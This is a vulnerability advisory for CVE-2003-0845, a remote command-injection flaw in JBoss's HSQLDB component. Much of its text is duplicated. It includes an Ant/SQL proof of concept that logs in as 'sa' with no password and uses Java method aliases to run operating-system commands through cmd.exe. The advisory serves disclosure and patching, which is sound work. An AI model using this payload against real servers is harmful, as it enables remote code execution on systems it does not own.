JBoss HSQLDB Remote Command Injection Vulnerability
BID:8773
Info
JBoss HSQLDB Remote Command Injection Vulnerability
| Bugtraq ID: | 8773 |
| Class: | Unknown |
| CVE: |
CVE-2003-0845 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 06 2003 12:00AM |
| Updated: | Dec 18 2007 08:05PM |
| Credit: | Discovery is credited to Marc Schoenefeld. |
| Vulnerable: |
Redhat Enterprise Linux Optional Productivity Application 5 server Redhat Enterprise Linux Desktop 5 client jBpm.org jBpm 2.0 JBoss Group JBoss 3.2.1 JBoss Group JBoss 3.0.8 HSQLDB hsqldb 1.8 4 |
| Not Vulnerable: | |
Discussion
JBoss HSQLDB Remote Command Injection Vulnerability
A remote command-injection vulnerability has been reported in JBoss. The issue is reportedly exposed via the HSQLDB component, which is a SQL database server that manages JMS connections. Because of a number of flaws, an attacker can pass commands to the HSQLDB component via the port it listens on. Note that the port may vary between versions; by default it is 1701/TCP for JBoss 3.2.1 and 1476/TCP for 3.0.8.
Attackers can exploit this issue to mount a number of attacks, including execution of database commands, denial-of-service attacks, log manipulation, information disclosure, and execution of operating system commands on some supported platforms.
This issue is reported to exist with JBoss 3.2.1/3.0.8 on any Java 1.4.x-enabled platforms. Other versions may also be affected.
A remote command-injection vulnerability has been reported in JBoss. The issue is reportedly exposed via the HSQLDB component, which is a SQL database server that manages JMS connections. Because of a number of flaws, an attacker can pass commands to the HSQLDB component via the port it listens on. Note that the port may vary between versions; by default it is 1701/TCP for JBoss 3.2.1 and 1476/TCP for 3.0.8.
Attackers can exploit this issue to mount a number of attacks, including execution of database commands, denial-of-service attacks, log manipulation, information disclosure, and execution of operating system commands on some supported platforms.
This issue is reported to exist with JBoss 3.2.1/3.0.8 on any Java 1.4.x-enabled platforms. Other versions may also be affected.
Exploit / POC
JBoss HSQLDB Remote Command Injection Vulnerability
The researchers who discovered this vulnerability have developed a working exploit that is not publicly available or known to be circulating in the wild.
The following proof of concept is available:
<target name="cmdinject">
<sql
classpath="hsqldb.jar"
driver="org.hsqldb.jdbcDriver"
url="jdbc:hsqldb:hsql://${host}:${port}"
userid="sa"
password=""
print = "true"
>
CREATE ALIAS COMPDEBUG FOR
"org.apache.xml.utils.synthetic.JavaUtils.setDebug"
CREATE ALIAS SETPROP FOR "java.lang.System.setProperty";
CREATE ALIAS COMPILE FOR
"org.apache.xml.utils.synthetic.JavaUtils.JDKcompile";
CALL COMPDEBUG(true);
CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe');
CALL COMPILE('/c REGEDIT.EXE','');
</sql>
</target>
The researchers who discovered this vulnerability have developed a working exploit that is not publicly available or known to be circulating in the wild.
The following proof of concept is available:
<target name="cmdinject">
<sql
classpath="hsqldb.jar"
driver="org.hsqldb.jdbcDriver"
url="jdbc:hsqldb:hsql://${host}:${port}"
userid="sa"
password=""
print = "true"
>
CREATE ALIAS COMPDEBUG FOR
"org.apache.xml.utils.synthetic.JavaUtils.setDebug"
CREATE ALIAS SETPROP FOR "java.lang.System.setProperty";
CREATE ALIAS COMPILE FOR
"org.apache.xml.utils.synthetic.JavaUtils.JDKcompile";
CALL COMPDEBUG(true);
CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe');
CALL COMPILE('/c REGEDIT.EXE','');
</sql>
</target>
Solution / Fix
JBoss HSQLDB Remote Command Injection Vulnerability
Solution:
The vendor has addressed this issue in JBoss 3.2.2 and in the CVS tree of the JBoss 3.0.x tree. The committed CVS change can be found in the appropriate web reference. The vendor has stated that JBoss 3.0.9 is pending release.
JBoss Group JBoss 3.2.1
Solution:
The vendor has addressed this issue in JBoss 3.2.2 and in the CVS tree of the JBoss 3.0.x tree. The committed CVS change can be found in the appropriate web reference. The vendor has stated that JBoss 3.0.9 is pending release.
JBoss Group JBoss 3.2.1
-
JBoss Group JBoss 3.2.2
http://www.jboss.org/index.html?module=html&op=userdisplay&id=download s
References
JBoss HSQLDB Remote Command Injection Vulnerability
References:
References:
- Configuration Changes (JBoss Group)
- JBoss Code Injection CVS Commit Fix (JBoss Group)
- JBoss Community Homepage (JBoss Group)
- JBoss 3.2.1: Remote Command Injection (Marc Schoenefeld
- Update JBoss 308 & 321: Remote Command Injection (Marc Schoenefeld
- RHSA-2007:1048-6 - openoffice.org, hsqldb (RedHat)